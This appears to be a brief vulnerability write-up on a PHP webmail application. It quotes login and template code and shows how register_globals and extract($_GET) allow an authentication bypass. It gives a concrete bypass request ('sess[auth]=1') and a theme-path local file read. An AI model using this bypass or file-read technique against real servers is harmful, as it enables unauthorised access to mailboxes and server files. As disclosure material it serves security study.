At first i decided to look login script . Each script includes this code
|
|
|
|
<?php
|
|
if(strlen($f_pass) > 0) {
|
|
|
|
..elseif (
|
|
($sess["auth"] && intval((time()-$start)/60) < $idle_timeout)) {
|
|
|
|
$UM->mail_user = $f_user = $sess["user"];
|
|
$UM->mail_pass = $f_pass = $sess["pass"];
|
|
$UM->mail_server = $f_server = $sess["server"];
|
|
$UM->mail_email = $f_email = $sess["email"];
|
|
|
|
} else {
|
|
Header("Location: ./index.php?tid=$tid&lid=$lid\r\n");
|
|
exit;
|
|
}
|
|
?>
|
|
|
|
So , if register_globals on , we can make a request like script.php?f_pass=+toxa+&sess[auth]=1
|
|
to make script think that we are authorized user . Then i looked each script to find something
|
|
interest.
|
|
|
|
<?php
|
|
define("SMARTY_DIR","./smarty/");
|
|
require_once(SMARTY_DIR."Smarty.class.php");
|
|
$smarty = new Smarty;
|
|
$smarty->compile_dir = $temporary_directory;
|
|
$smarty->security=true;
|
|
$smarty->secure_dir=array("./");
|
|
$smarty->assign("umLanguageFile",$selected_language.".txt");
|
|
?>
|
|
|
|
Looks great :) But selected_language was already defined . But there was a similar code with EXTRACT.
|
|
So , we can read local files on server !
|
|
|
|
<?php
|
|
if($phpver >= 4.1) {
|
|
extract($_GET);
|
|
}
|
|
|
|
$smarty->assign("umSid",$sid);
|
|
$smarty->assign("umLid",$lid);
|
|
$smarty->assign("umTid",$tid);
|
|
|
|
$smarty->assign("umErrorCode",$err);
|
|
|
|
$smarty->display("$selected_theme/error.htm");
|
|
?>
|
|
|
|
